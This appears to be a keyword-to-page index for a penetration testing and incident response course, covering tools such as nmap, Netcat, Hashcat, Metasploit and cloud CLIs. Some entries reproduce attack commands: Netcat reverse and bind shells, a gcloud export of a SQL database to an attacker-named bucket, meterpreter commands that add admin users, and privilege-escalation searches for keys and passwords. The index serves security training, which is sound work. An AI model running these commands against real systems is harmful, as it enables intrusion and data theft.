Page	Keyword
3::43	$1
3::43	$5
3::43	$6
2::11-13	80
2::13	81
1::53	135
1::53	136
1::53	137
1::53	138
1::53, 2::14	139
2::12	161
1::13,	443
1::53, 2::14	445
1::13-15-16-19	4444
2::11	6000
4::31	41795
3::17	50126
2::11	65536
5::77	iam:PutUserPolicy
2::38	$ = hidden share
3::43	$ sign
1::57	$True
3::43-46	$y
1::59	%COMSPEC%
4::6	.asp
4::6	.aspx
4::30	.env
4::6	.html
1::120	.json
5::18-19	.NET
5::18-19-20	.NET Install Utility
1::73	.pcap
1::73	.pcapng
4::6	.php
1::48	.ps1
3::17	/common/auth/token
4::82	/etc/environment
4::73-74	/etc/hosts
3::42, 4::74-75	/etc/passwd
3::42-46, 4::71-74-75-82	/etc/shadow
4::82	/proc
4::82	/proc/NNN/environ
4::31	/system/xbin/nc

4::74	/var/log/auth.log
4::30	/var/www/html
4::82	/var/www/html/auth.config
4::80-81	; echo
3::57	?a
3::57	?d
3::57	?l
3::57	?s
3::57	?u
2::74	1) nc -l -p 2222 | nc x.x.x.x 80 2) nc x.x.x.x 2222
2::25	100 packets
3::7	10k-most-common.txt
1::95	16-bit
3::34	16-Byte
3::34	16-Byte Hash
2::25	20 Mbps
4::5-6-17	404 - File not found
4::4	49M Dell
4::30	99f87dfe.py
A	
3::17-20	AADSTS
3::17-20	AADSTS Response Code
3::17	AADSTS Response Code 50126
2::20, 4::89	Access Control List (ACL)
4::91	Access Denied
4::78	access key ID
1::76	Access Logs - Squid Proxy
3::4-5-21	Account Lockout
4::93	accountname:containername
2::25	ACK
2::25	ACK receive code
2::20	ACL
5::63	Active Countermeasures
1::43	Active Directory
4::60	ActiveRecord
4::32-56	Acunetix Vulnerability Scanner
2::38	ADMIN$
2::38	Administrative Share
3::93	Adobe Flash Updater
3::34	AES
3::34	AES-CBC-128
1::36	After-Action Report
4::32	Aikido Security

1::94	air-gapped
5::85	Amazon Glacier
4::60	Amazon Lambda
4::60	Amazon Relational Database Service
5::76	Amazon Resource Name (ARN)
4::88-91, 5::79	Amazon S3 Buckets
4::88	Amazon Web Service (AWS)
5::9	AMD Processors
5::10	AMSI
5::85	Amzon - Detective
1::102	Analyzing Code
5::10	Anti-malware Scan Interface (AMSI)
1::113, 3::22, 4::46	Apache
5::13	API Functions
5::18-19	AppIDSvc
5::13-18-19-20-22	Application Allowlists
5::18-19	Application Identity (AppIDSvc)
1::29	Application Logs
5::9	Application Memory
1::118, 5::13-14-18-19	AppLocker
5::14	AppLocker - Blocking Mode
5::18	AppLocker - Default Rules
5::14	AppLocker - Learning Mode
5::19-20	AppLocker Check
1::15, 4::31	Arbitrary Commands
4::69	Arbitrary HTTP Request
3::46	Argon2
1::12-19	Argous Corporation
5::9	ARM64
3::71	Armitage
5::76	ARN
2::12	ARP
1::107	Artifical Intel
1::73-95, 3::34, 5::28	ASCII
5::28	ASCII-Based Protocols
1::65, 5::48-56	ASEP
3::52	Association
2::27	Attributing Hosts
5::11	AuKill
4::38	Auth Token
3::53	Autodetect hash types
1::65, 5::56	AutoRuns
1::65, 5::48-56	Auto-Start Extensibility Points (ASEP)
1::29, 2::21-26	awk - tools

2::21-22-23-26-27, 4::76-88, 5::55-78	AWS
2::27	AWS
5::55	AWS - 2 Remote Access Keys
5::55	AWS - Accounts with 0 or 1 key
4::83	AWS - CloudWatch
5::55	AWS - Key Access
5::82	AWS - SecurityAudit
5::82	AWS - ViewOnlyAccess
3::22	AWS API
3::22	AWS API Gateway
3::22-24	AWS API Workers
4::78	aws configure
5::78	AWS Credentials
2::26, 4::78-80, 5::76	AWS EC2
5::76	aws ec2 describe-instances
4::78	AWS Elastic Beanstalk
5::55	aws iam create-access-key --user-name jsmith
4::78	aws iam get-user
5::55	aws iam list-access-keys --user-name jsmith
5::76	aws iam list-roles
5::55-76	aws iam list-users
4::78-80-83	AWS IMDSv1
5::78	AWS Interrogation
2::26	AWS IP Addresses
5::76	aws lambda list-functions
5::76	aws logs describe-log-groups
5::77	AWS Policy - iam:PutUserPolicy
5::76	aws s3 ls
5::76	AWS STS
5::76	aws sts get-caller-identity
5::82	AWS: CloudMapper
4::78	aws-elasticbeanstalk-ec2-role
5::76	az
2::21-23, 4::76-88, 5::78	Azure
4::93	Azure - Blob Finder
5::85	Azure - Sentinel
3::17	Azure Active Directory Security Token Service
5::85	Azure Archive
4::93	Azure Blob - Storage Scanning
4::88	Azure Blobs
5::79	Azure Containers
5::85	Azure Cool Storage
4::60	Azure Functions
2::23	Azure IP List

4::93	Azure Scanning
5::82	AzViz
B	
4::5	backup.sql
5::79	Backups
5::11	BadRentDrv2
1::48-115	Base64
1::61	Baseline
4::93	basicblobfinder.py
5::64	Beaconing
3::92-93	BeEF
3::93	BeEF - Control Panel
3::93	BeEF Hook
1::92	Behavioral Analysis
5::7	Behavioural Anomaly Analysis
1::74	Berkeley Packet Filters (BPF)
3::62	best64.rule
1::49	Big-Endian
3::73	Bind Shell
5::17	BITS
5::17	Bitsadmin
4::25	Blind Command Injection
4::93	Blob Finder
4::88	Blobs
4::93	Blods
2::21	bootcamp
1::74	BPF
5::11-22	Bring Your Own Vulnerable Driver (BYOVD)
4::6	Browsable Directories
3::92	Browser Exploitation Framework (BeEF)
3::83	Browser Problem
4::93	Bucket Discovery
4::93	Bucket Discovery
4::91	bucketfinder.rb
4::91	bucketfinder.rb words --download
4::90	BucketName.s3.amazonaws.com
4::94	buckets.grayhatwarfare.com/random/buckets
1::100, 3::72	Buffer Overflow
3::19	Bug Bounty
2::22	Builtwith.com
4::32-56	Burp Suite
5::11-22	BYOVD
3::26	Bypass MFA
3::22-25	Bypass Smart Lockout

C	
1::35-50, 4::32, 5::17-64	C2
5::64	C2 - Beaconing
5::64	C2 - Behaviour
5::64	C2 - Heartbeat
5::17-64	C2 Framework
2::29	CA (Certificate Authorities)
2::28	ca-bundle.crt
3::63	Can't Crack Hashes More Than Once
3::33	Case Preservation
3::34	Case Sensitivity
1::109	Case Study 1 - Summarizing Code
1::113	Case Study 2: Deobfuscating Attacker Code
1::118-119	Case Study 3: Automate Analysis with Scripting
1::120-121	Case Study 4: Log Analysis
5::75	cat .aws/credentials
2::21	cat ec2.json
2::68	cat exploit.exe | nc -l -p 2222
2::22	CDN
4::72	CDN
2::28-29	Certificate Authorities
2::27	Certificate Common Name (CN)
2::29	certificateChain
5::17	certutil
5::17	certutil.exe
3::19-20	CeWL
4::8	change-password
1::110, 4::13	ChatGPT
5::66	checksum
2::23	CI
2::23026	CIDR
5::82	CIDR
1::46	CIM
5::71	Cisco Talos
2::23	Classless Inter-Domain Routing (CIDR)
5::8	Claude Opus
5::78	cli.py
4::31	CLI-based Consoles
3::81	Client-Side Attack
2::43-44	Close-SmbSession
4::94	Cloud Bucket Exposure CTI
5::80	Cloud Data Exfiltration
4::80	Cloud IMDS Access
2::22	Cloud IP Enumeration

5::85	Cloud Logging
5::85	Cloud Logging - API Access
5::85	Cloud Logging - NetFlow Logs
5::85	Cloud Logging - Storage Access
5::55	Cloud Persistence
5::75	Cloud Post-Exploitation
5::81	Cloud Post-Exploitation Defenses
2::22	Cloud Providers
2::20-22-30	Cloud Scanning
4::88	Cloud Spotlight: Insecure Storage
4::60	Cloud SQL
4::90	Cloud Storage Access
4::88	Cloud Storage Objects
4::82	Cloud Target Access
5::82	CloudCraft
5::82	CloudMapper
5::82	CloudMapper - Security Vulnerabilities
5::82	CloudMapper = JSON Configuration file
5::82	CloudMapper.py
4::83	CloudWatch
1::44	Cmdlets
2::27	CN
1::114	Code Deobuscation Prompt
5::8	Code Porting
5::7	Code wrapping
3::85	Code-Execution Microsoft Offile Files
3::52-56	Combinator Attack
1::95	Command - Strings
1::19-35, 4::32	Command & Control
1::15, 4::24-25-27-30-31-32-37	Command Injection
4::30	Command Injection != stateful
4::27-29	Command Injection Attack
4::32	Command Injection Defense
4::29	Command Stacking
1::46, 2::38	Common Information Model (CIM)
1::21	Common Problems
4::70	Common Request
4::70	Common Request Format
1::61	Compare-Object
3::9, 5::50	Complexity Requirements
1::59	COMSPEC
3::18-25	Conditional Access (CA)
1::44	conhost
2::44	Connect SMB Share

2::22	Content Delivery Network (CDN)
4::47	Content Security Policy (CSP)
4::75	Content-Length
2::23	Continuous Integration (CI)
1::97	Continuous Recording
1::97	Continuous Reporting
4::5	Conventional Browsing
4::38	Cookie
4::43	cookies.log
2::60	Copy-RemoteWindowsLogs.ps1
2::42	CoronaBlue
3::46-47	Cost-Based hashes
1::101, 3::46	CPU
5::9	CPU Architecture
5::52	CPU Spikes
3::46	CPU-Hard
4::73	Crafted URL Request for Local File
3::19	Crawl
4::8	Crawler
2::30, 3::19. 4::6	Crawling
5::50	Create Account
5::13-19	CreateProcess()
4::93	Creative Name Selection: Creative Name Selection
3::37-51	Credential Access - Mitre ATT&CK
4::78	Credential Exfiltration
3::10-11, 5::75	Credential Stuffing
4::31	Crestron DGE-100
1::13-14-15-16-19	CRM
3::92, 4::37-63	Cross-Site Scripting (XSS)
5::71	CrowdSee
1::28	CrowdStrike Tracker Spreadsheet
3::43	crypt()
3::11	Cryptocurrency
4::43	Cryptominer
4::47	CSP
4::47	CSP = report-uri
4::38	CSS
2::40-50-54-59	CSV
2::60	csv-timeline
1::30-35	CTI
4::94	CTI
3::17, 4::74-75-76, 5::17	curl
3::17	curl --data
4::81	curl -H 'Metadata-Flavour: Google'

3::17	curl --silent
1::13,	Customer Relational Management (CRM)
2::21	cut
2::42	CVE-2017-0144
2::42	CVE-2020-0796
2::42	CVE-2020-1206
2::42	CVE-2021-36972
2::42	CVE-2022-24500
2::42	CVE-2023-21549
1::48-49	CyberChef
D	
1::22-24-28-35-38	DAIR
1::22-31	DAIR - Contain
1::22-36	DAIR - Debrief
1::22-26-29	DAIR - Detect
1::22-32	DAIR - Eradication
1::22-24	DAIR - Prepare
1::22-33	DAIR - Recover
1::22-30	DAIR - Scope
1::22-28	DAIR - Verify & Triage
3::10-11	Darknet
3::10-11	Darknet Credentials
3::76	Data Loss Prevention
4::63	Database Logging
3::85	DCOM
2::22	DDOS
1::92 -102, 5::56	Debuggers
1::52	Decoding
3::43	Decoding Linux Hashes
3::43	Decoding Linux passwords
3::43	Decoding Unix Hashes
3::43	Decoding Unix Passwords
2::12	Default Scan Type
4::6	default.htm
5::6	DefenderCheck
3::27	Defending Against Password Spray
4::4	Dell Partner
1::113-114-115-116	Deobfuscation
3::65	Deploy Multi-Factor Auth
3::32-33-42	DES
2::58	Detection Frequency Timeline
5::85	Detective - Amazon
1::61	Differential Analysis
4::38	Direct Request

4::6	Directory Listing
5::44	Disable LLMNR/NBT-NS
5::44	Disable mDNS
5::44	Disable SMBv1/SMBv2
5::9	Disabling Endpoint Tools
4::8	Disallow Entry
1::92 -102	Disassemblers
2::25	Discovery Packets
5::11	dism.exe
5::14	DLL Event Log
3::73	DLL Injections
3::76	DLP
1::31, 2::11-12-22	DNS
4::45	document.cookie
4::43-45	document.location
1::13-14-15-19, 3::37	Domain Controller
3::37-38	Domain Controller Hashes
1::18	Domain Password Access
2::15	DoS
3::94	Drive-By (Defense)
3::81-82-88	Drive-By Attack
3::82	Drive-By Attack Operation
5::11-22	Driver Block Rules
5::11	Driver Signature Revocation
5::9	Drivers
2::44	Drop Inbound Connections
2::44	Drop Outbound SMB Mapped Connections
2::43	Dropping SMB Sessions
5::11	drvload.exe
1::16	dual-homed
1::22	Dynamic Approach to Incident Response (DAIR)
5::33	Dynamic Port Forwarding
E	
2::37	Eavesdrop
4::78	EBS
4::78-80, 5::76	EC2
1::30	EDR
5::11	EDRKillShifter
5::56	EID - 4624
5::52	EID - 4625
5::56	EID - 4634
5::56	EID - 4648
5::56	EID - 4672
5::56	EID - 4688

5::56	EID - 4697
5::56	EID - 4732
5::56	EID - 4768
2::36	EKG
4::78	EKS
4::78	Elastic Kubernetes Service (EKS)
2::60	Elasticsearch
3::41	Empty Hashes
3::41	Empty Passwords
2::12	Empty Payloads
1::48-49, 3::43, 4::40	Encoding
1::49	Encoding Shemes
5::22	Endpoint Bypass
5::5	Endpoint Security Bypass
3::94	Entity Behaviour and Analytics (UEBA)
3::18	Entra AD
3::18-25	Entra AD Conditional Access (CA)
3::21-22-24-25	Entra Smart Lockout
3::35-36	Entropy
4::82	Environment Variable
1::22-26-28-87, 5::80-85	EOI
1::82	EPROCESS
4::55	Error-Based SQL Injection
2::42	EternalBlue
1::115-116	eval function - PHP
5::5	Evasion
5::52	evasion technique
1::29	Event ID - 1003
1::22-87, 5::80-85	Event of Interest (EOI)
5::55	Event Subscribers
2::50	Event Timelines
5::53-56	Event Triggered Execution
2::54	Evtx
1::60	evtxecmd
1::50	Examining Network Usage
1::44	Examining Processes
1::54	Examining Services
5::9	Execution Modes
4::75	Exfiltrating Data
4::75	Exfiltration
3::88	Exploit Delivery
4::4	Exploiting Public-Facing Apps
1::58	Export-ScheduledTask
4::60	Express

2::29	extract-tlsscan-hostnames.py
F	
3::93	Fake Flash Update
3::89	Fake Installers
4::43	Fake Login Prompt
5::69	False Positive
4::63	False-Negatives Events
5::21	fapolicyd
4::10-13-14-16-17-19	Ffuf
2::75	FIFO
2::75	FIFO file
4::6	File Extension
3::42, 4::82	File System Permission
4::73-74	file://
4::71	file:///etc/shadow
2::14	filename prefix
3::24	fire.py
3::24-25-27	FireProx
1::14, 3::75	Firewall
5::9	Firmware Access
4::60	Flask
4::4-5-6-8-9-13-19	Forced Browsing
4::19	Forced Browsing Defense
5::56	Forged Kerberos Tickets
3::76	Framework Defense
2::41, 3::6	FTP
4::17-18	fuff -fl 91
4::17-18	fuff usage example
4::30	Fully Qualified Paths
4::71-72	Fully Qualified URL
1::64	Functionality
4::10-19	Fuzz Faster
4::17	FUZZ keyword
4::10	Fuzzer
G	
4::60	GCE Spanner
5::76-80	gcloud
5::80	gcloud sql database list -f fm-research
5::80	gcloud sql export sql fm-research --database=ai gs://sqlexfil/sqldump.gz
5::80	gcloud sql instances list
5::80	GCP - Audit Logs
5::85	GCP - Security Command Center
2::21-23, 4::76-88, 5::78	GCP (Google Cloud Platforms)

4::92	GCP Bucket - Storage Scanning
5::79	GCP Buckets
4::92-93	GCPBucketBrute
4::92	gcpbucketbrute.py
4::92	gcpbucketbrute.py --check-list
4::92	gcpbucketbrute.py -k
4::92	gcpbucketbrute.py -u
4::92	gcpbucketbrute.py -u -k falsimentis
3::45	GeForce
5::8	GenAI
1::107	Generative AI
1::55	Get-ChildItem
1::46-54, 2::38, 5::56	Get-CimInstance
2::38	Get-CimInstance -Class win32_share
5::56	Get-CIMInstance -Namespece root\Subscription -Class __EventFilter | fl -property query
1::61	Get-Content
1::95	Get-FileHash
1::55	Get-ItemProperty
1::57	Get-LocalGroup
1::57	Get-LocalGroupMember
1::57	Get-LocalUser
1::50 -52	GET-NetTCPConnections
1::58	Get-ScheduledTask
1::58	Get-ScheduledTaskInfo
1::54-61	Get-Service
2::44	Get-SmbMapping
2::43	Get-SmbSession
2::44	Get-SMBShare
4::78	get-user
2::44	Get-WmiObject
1::102	Ghidra
1::34	Github
5::85	Glacier
1::24	Gold Image
5::56	Golden Ticket Attack
4::88	Google Cloud Buckets
4::60	Google Cloud Functions
2::21-23, 4::76-88, 5::78	Google Cloud Platforms
5::85	Google Cloud Storage Archive
5::82	Google Network Topology
1::117	GPT Hallucination
3::45-51-55	GPU
3::45-46	GPU-Hard
4::60	Grafana

4::94	GrayHatWarFare
2::21	grep
5::44	Group Policy
2::23	gstatic.com
4::92, 5::76-80	gsutil
5::80	gsutil acl ch -u jmercle@falsimentis.com:WRITE gs://sqlexfil
5::80	gsutil cp gs://sqlexfil/sqldump.gz .
4::92	gsutil ls gs://falsimentis-dev
5::80	gsutil mb gs://sqlexfil
4::25	GUID
H	
4::71	HackerOne
3::32-44	Hash Prime
3::34-45-51-52-53-54-56-57-58-59-60-61, 5::43	Hashcat
3::52-55-62	hashcat -a 0
3::52-56	hashcat -a 1
3::52-58	hashcat -a 3
3::52-59	hashcat -a 6
3::52-60	hashcat -a 7
3::63-64	Hashcat Errors
3::53-63	hashcat --identify
3::61	hashcat left
3::61	hashcat --left
3::53-55-56-58-59-60-61-62-63	hashcat -m
3::52-54	Hashcat Modes
3::61	hashcat potfile
3::62	Hashcat Rules
3::61	hashcat show
3::61-63	hashcat --show
3::63	Hashcat Troubleshooting
3::61	hashcat user
3::61-63	hashcat --user
3::61	hashcat.potfile
3::39-41	hashdump
3::32	Hashes
3::35	Hashes without Salt
3::43-44-45	Hashing rounds
3::9	Have I been Pawned
3::9	haveibeenpawned.com/passwords
2::50-54-55-56-57-58-59	Hayabusa
2::59	hayabusa = (-d)
2::58	hayabusa = (-E)
2::59	Hayabusa = (--profiles)

2::58	hayabusa = (--timeline-end)
2::58	hayabusa = (--timeline-start)
2::56-57-58-60	hayabusa = csv-timeline
2::57	hayabusa = HTML Report Summary
2::60	Hayabusa = json-timeline
2::59	Hayabusa = list-profiles
2::60	Hayabusa = logon-summary
2::60	Hayabusa = metrics
2::59	Hayabusa = Multi-Host Analysis
2::59	Hayabusa = profiles.yaml
2::60	Hayabusa = search
2::55	Hayabusa = update-rules
2::54-55-56-58	hayabusa.exe
2::55	hayabusa.exe update-rules
2::26-27	head
3::72	Heap Overflow
1::117	heartB4ne
5::6	Hex Dump
1::102	Hex-Rays
4::60	Hibernate
2::38	Hidden Share
5::9	Higher-Level Rings
5::40	Hijacking Attacks
5::44	Hijacking Defenses
1::55	HKCU
1::30	HKCU\SOFTWARE\Microsoft\SystemCertificates
1::55	HKLM
1::55	HKLM\Software\Microsoft\Windows\CurrentVersion\Run
1::55	HKLM\SOFTWARE\Wow64Node\Microsoft\Windows\CurrentVersion\Uninstall
3::46	HMAC
4::8	Honeypot
5::32	Host Discovery
3::73	hostname.exe
2::42	HotFixes
2::50-54, 4::37-38	HTML
4::70	HTML - markup tag
4::37	HTML Arbitrary
4::46	HTML Entity
4::70	HTML markup tag
4::46	HTML Purifier
4::38	HTML5
1::53, 2::16-30-67, 5::28	HTTP
2::67, 4::24-40	HTTP - GET Request
2::16	HTTP Headers

2::16	HTTP Headers Enumeration
4::56	HTTP Method
3::17, 4::24	HTTP Post
5::33	HTTP Proxy
2::30, 4::6-43	HTTP Request
4::9	HTTP Response Code
4::5-6-17	HTTP Response Code - 404
4::17	HTTP/200
4::6-17-19	HTTP/404
4::17	HTTP/500
1::113	httpd
4::47	HTTPOnly flag
1::53-76	HTTPs
4::90	https://AccountName.blob.core.windows.net/ContainerName
4::90	https://s3.amazonaws.com/BucketName
4::90	https://www.googleapis.com/storage/v1/b/BucketName
1::93	Hybrid Analysis
3::52-60	Hybrid Mask + wordlists
3::52-59	Hybrid Wordlist + Mask
3::6, 5::75	Hydra
3::6	Hydra Vs. Legba
5::9	Hypervisor
	I
3::11	IAB
4::76-78, 5::55-75	IAM
5::75	IAM Credentials
5::77-78	IAM Policy
5::78	iam__enum__permissions
5::78	iam__privesc_scan
2::11, 4::8	IANA
2::8, 4::25	icmp
2::8-17	ICMP Echo Eequest
2::8-17	ICMP Timestamps request
1::102	IDA Pro
4::25	Identifying Command Injection
2::43	Identifying SMB Session
5::55-75	Identity and Access Management (IAM)
4::4-5-11-12-13-14-15-16-17-19	IDOR
4::14-15-16-17	IDOR Attack
4::19	IDOR Defense
1::20-24	IDS
3::22, 4::6	IIS Server
4::6	IIS Web Server

5::21	IMA
4::69-76-78-80-83	IMDS
4::78-80-83	IMDS - AWS
4::83	IMDS Defense
4::80	IMDS Server
4::83	IMDSv2
3::38	Impacket
2::40	Import-CSV
2::25	Independent Thread
4::6	index.html
4::43	index.php
1::26	Indicator of Attacks (IoA)
1::19	Indicator of Compromise (IoC)
4::38	Indirect Request
3::11	Initial Access Broker (IAB)
3::81	Initiall Access (T1189)
4::54	Injecting SQL Content
4::46-63	Input Filtering
4::13	Input Redirection
4::52	Input validation
1::61	InputObject
4::4-5-11-12-13-14-15-16-17-19	Insecure Direct Object Reference (IDOR)
4::88	Insecure Storage
5::18-19-20	InstallUtil
5::18-19	InstallUtil - installed
5::18-20	InstallUtil - Reflection Execution
5::18-19	InstallUtil - uninstalled
5::18-19-20	InstallUtil.exe
5::19-20	InstallUtil.exe -U
4::69-76-78-80-83	Instance Metadata Service (IMDS)
5::21	Integrity Measurement Architecture (IMA)
4::8	Internet Assigned Numbers Authority (IANA)
5::66	invalid checksum
1::92	Investigating Malware
1::80-87	Investigating Memory
1::71	Investigating the Network
3::25	Invoke-MFASweep
3::20	Invoke-MSOLSpray
1::26-28	IoA
1::19-23-30-42-113	IoC
3::51, 4::31	IoT
2::10	IP
2::22	IP Enumeration Cloud
2::12	IP Neighbor Discovery

2::23-26	ip-ranges.amazonaws.com
2::12	IPv4
2::12	IPv6
3::27	IR Playbooks
1::20-21	IR Process - Containment
1::20-21	IR Process - Eradication
1::20-21	IR Process - Identification
1::20-21	IR Process - Lessons Learned
1::20-21	IR Process - Recovery
1::20-21	IR Process -Preparation
5::7	IronPython
3::76	ISO 27001
5::9	Isolated Memory
1::110-111-112	Iterative Prompting
J	
4::46	Java Encoder Project
4::37-38-39-40-42	Javascript
4::43	JavaScript CryptoMiner Library
5::43	John the Ripper
4::46	Joi
2::21-23-26-29, 3::17	jq
2::21	jq '.' ec2.json
2::21-23	JSON
3::17	json object
2::60	json-timeline
K	
3::63	Keep the password hash data together
5::56	Kerberos Token
5::13	kernel Driver
5::9	Kernel Mode
5::13	Kernel32.dll
3::56	Keyspace
4::43	Keystroke Logger
5::56	known authorized users
5::56	krbtg - password history
5::56	krbtgt
L	
2::12, 5::40	LAN
5::40	LAN Protocols
3::32-33-34-35	LANMAN
1::107	Large Language Model
1::17	Lateral Movement

5::9	least-privileged ring
1::64	Legacy Commands
3::6-7-8-9	legba
3::6	legba -U user -P password -T x.x.x.x ssh
3::6	Legba Vs. Hydra
5::10	Less-Privileged Processes
1::29	Lightning Labs - WordPress Log Assessment
5::14	Limit-EventLog -LogName "Logs Name" -MaximumSize 100MB
5::40-42-44	Link-Local Multicast Name Resolution (LLMNR)
5::21	Linux History Files
5::21	Linux Living Off the Land: Priv Escalation
5::21	Linux LOL
5::21	Linux LOTL
3::42	Linux Passwords
5::21	Linux Priv. Escalation
5::21	Linux Privileges Escalation
5::21	Linux Privsec: cat /home/*/.ssh/*
5::21	Linux Privsec: find / -name "*history*"
5::21	Linux Privsec: find / -prem -4000 -uid 0
5::21	Linux Privsec: grep -iR password /var/www
5::21	Linux Privsec: sudo -l
5::21	Linux Privsec: which nc
5::21	Linux Privsec: which smbclient
1::95	Little-Endian
1::42	Live Investigation
2::77, 5::17	Living off the Land
1::107	LLM
5::40-42-44	LLMNR
5::41	LLMNR Poisoning
5::41	LLMNR Relay
5::40	LLMNR Request
5::41	LLMNR/NBT-NS
5::9	Local Administrator
1::75	Local Cache
1::120-121	Log Analysis
5::85	Log Overflow
5::85	Log Retention
3::17	login.microsoft.com
2::77	LOL
5::17	LOL - Living Off the Land
5::34	LOL - Port Forwarding with netsh
5::17	LOLBAS
2::52-53	Long Powershell CommandLine
5::9	Lower-Level Rings

3::40	lsadump
1::46-83, 5::15-16	LSASS
5::15	lsass.dmp
1::83, 3::39, 5::15-16	lsass.exe
2::15	Lua
4::83	Lyft AMI
4::83	Lyft SSRf
	M
5::35-40	Machine-in-the-Middle (MITM)
3::85	Macro Files
3::85	Macros
4::54	malformed input values
2::37	Man-in-the-middle (MITM)
4::55-63	MariaDB
3::57	Markers
3::52-57-58	Mask Attack
2::25-26-27-30	masscan
2::26	masscan -iL
2::26	masscan -oL
2::26	masscan -p
2::25-26	masscan --rate 50000
3::34	MD4
3::32-42-45	MD5
5::40-43	mDNS
5::44	mDNS - inbound activity
1::26	Mean Time To Detect (MTTD)
1::107	Mean Time to Resolution
1::27	Mean Time To Response
5::9	Memory Isolation Protection
3::46	Memory-Hard
4::46	metacharacter Encoding
4::80	Metadata - True
3::69-70-71-72-90	Metasploit
3::90	Metasploit - Converters
5::32	metasploit - db_nmap
3::72	Metasploit - Exploits
3::73-90, 5::7	Metasploit - Payloads
5::78	Metasploit for AWS
3::71	Metasploit User Interface
3::39-73-91, 5::28-29	meterpreter
3::73	Meterpreter - 4 Aspects
5::50	meterpreter - execute
5::50	meterpreter - execute -f "net localgroup administrator /add username"
5::50	meterpreter - execute -f "net user /add username password"

5::50	meterpreter - execute -I -f "net user"
3::75	Meterpreter - Features
3::74	Meterpreter - Load DLL Dynamically
3::73	Meterpreter - Memory Manipulation
5::28	Meterpreter - Pivoting
5::28-34	meterpreter - portfwd
5::28	meterpreter - portfwd add -l 8000 -r x.x.x.x -p 80
3::73	Meterpreter - Pros
5::28	meterpreter - ROUTE
5::29	Meterpreter - ROUTE Pivoting
3::73	Meterpreter - runs inside the exploited process
5::29-30-31-32	meterpreter = route add x.x.x.x/24 1
5::31	meterpreter = route del x.x.x.x/24 1
5::32	meterpreter = run arp_scanner -r x.x.x.x/24
3::17-25-65	MFA
3::25-26	MFA Bypass
3::25	MFA Deployment
3::22	Microservices
3::16-25-27	Microsoft 365
3::17	Microsoft 365 API
3::17	Microsoft 365 Authentication
3::16	Microsoft 365 Password Attacks
3::5	Microsoft Breach
3::88	Microsoft Diagnostic Tool
3::17	Microsoft Entra Security Token Service
5::11	Microsoft Hardware Dev Program
4::60	Microsoft SQL Server-Compatible
5::7	Microsoft Visual Studio
2::23	microsoft.com
5::14	Microsoft-Windows-AppLocker/EXE
3::39	migrate
3::82-88, 5::64	MIME
3::39, 5::6-15-16	Mimikatz
5::16	mimikatz - logonPasswords
5::16	mimikatz - minidump
5::16	mimikatz - sekurlsa
1::118, 3::39, 5::6-15-16	mimikatz.exe
5::50	Minimum password complexity
1::14	Mistake 1
1::19	Mistake 10
1::19	Mistake 11
1::14	Mistake 2
1::15	Mistake 3
1::16	Mistake 4

1::16	Mistake 5
1::17	Mistake 6
1::17	Mistake 7
1::18	Mistake 8
1::18	Mistake 9
3::46	Mitigating Password Cracking
2::37, 5::35-40	MITM
2::20	MITRE ATT&CK
2::75	mkfifo
2::75	mkfifo backpipe
4::46	ModSecurity Library
1::56	MSASCuiL.exe
3::88	MSDT
3::75	msfconsole
5::32	msfconsole - auxiliary/scanner/portscan/tcp
5::28	msfconsole - auxiliary/server/socks4a
5::52	msfconsole - callback_interval 1000
5::52	msfconsole - default payload
5::51	msfconsole - exploit/windows/local/persistence_service
5::52	msfconsole - exploit/windows/local/wmi_persistence
5::52	msfconsole - username_trigger josh
5::53	msfconsole - windows/meterpreter/reverse_tcp
3::91	msfconsole -qx
3::90-91, 5::28	Msfvenom
3::20-24-25	MSOLSpray
1::26	MTTD
1::27	MTTR
1::107	MTTR
5::40-43	Multicast DNS (mDNS)
5::44	Multicast Name Resolution
3::65	Multi-Factor Auth
4::55-63	MySQL
N	
1::31	NACLs
2::74, 5::34	Namped Pipe
1::108	Natural Language Processing
5::41-44	NBT-NS
5::41	NBT-NS Poisoning
5::41	NBT-NS Relay
2::67-68	nc -l -p
2::75	nc -l -p 2222 | nc x.x.x.x 80
2::75	nc -l -p 2222 < backpipe| nc x.x.x.x 80 > backpipe
2::68	nc -l -p 2222 > secrets.json

2::71-73	nc -l -p 4444 -e cmd.exe nc -l -p 4444 -e /bin/sh nc x.x.x.x 4444
2::70	nc -v -w 3 -z targetIP startport-endport
2::67	nc x.x.x.x 80
1::83	nc.exe
2::66	Ncat
2::12	Neighbor Discovery
2::60	Neo4j
2::44	net session
2::44	net share
2::44	net use
2::44	net view
2::38-39-44	net.exe
2::45	NetBIOS
2::66-67-68, 4::31, 5::21	Netcat
2::71-73	netcat - Backdoor
2::70	Netcat - Port Scan
2::73	Netcat - Reverse Shell
2::68	Netcat Chat
2::67	netcat client
2::67	netcat listener
2::67	Netcat Modes
2::77	Netcat: Closing
2::76	Netcat: Defense
2::74	Netcat: Relays
2::71	Netcat: Shell Listener
5::85	Netflow Logs
5::34	netsh - Port Forwarding
5::34	netsh interface portproxy
5::34	netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8000 connectaddress=10.10.10.100 connectport=80
5::71	netsh trace
2::39	NetShareEnum
1::31	Network Access Control Lists (NACLS)
1::71	Network Challenges
2::8	network mapping
1::71	Network Sources
5::69	Network Time Protocol (NTP)
2::44	New-SmbMapping
2::14-16, 3::22	Nginx
4::60	nHibernate
2::42, 3::45	NIST
1::21-22-28	NIST SP 800-61r2
1::108	NLP

2::7-8-9-10-11-12-13-14-15-16-25-30	nmap
2::13	nmap - closed
2::13	nmap - filtered
2::13	nmap - open
2::17	nmap -A
2::8	nmap as non-root
2::8-9	nmap as root
2::9-12	nmap host discovery
2::15-16	Nmap NSE Scripts
2::14-16	nmap -oA
2::16	nmap -p
2::8	nmap -Pn
2::9	nmap --reason
2::15	nmap -sC
2::15	nmap --script "http*"
2::15	nmap --script "smb*"
2::15	nmap --script all
2::15	nmap --script auth
2::15	nmap --script banner
2::15	nmap --script discovery
2::15	nmap --script external
2::16	nmap --script http-security-headers
2::15	nmap --script intrusive
2::15	nmap --script malware
2::15	nmap --script safe
2::15	nmap --script vuln
2::15	nmap --script-args
2::15	nmap --script-help "http*"
2::15-16	Nmap Scripting Engine (NSE)
2::15	nmap --script-updatedb
2::9-12	nmap -sn
2::12-14	nmap -sS
2::12	nmap -sT
2::12	nmap -sU
2::12-14-16	nmap -sV
2::8	nmap sweeping
2::14-16	nmap.services
3::43	no $
3::63	No Hash-Mode Matches
2::15-16	NSE
3::32	NT
3::34	NT Hash Limitation
1::18, 3::55	NT Hashes
3::33-34-35-55	NT Hashes

5::43	NT Passwords
2::41	NT_STATUS_CONNECTION_RESET
5::13	NtCreateProcess()
5::13	ntdll.dll
3::37-38	NTDS.dit
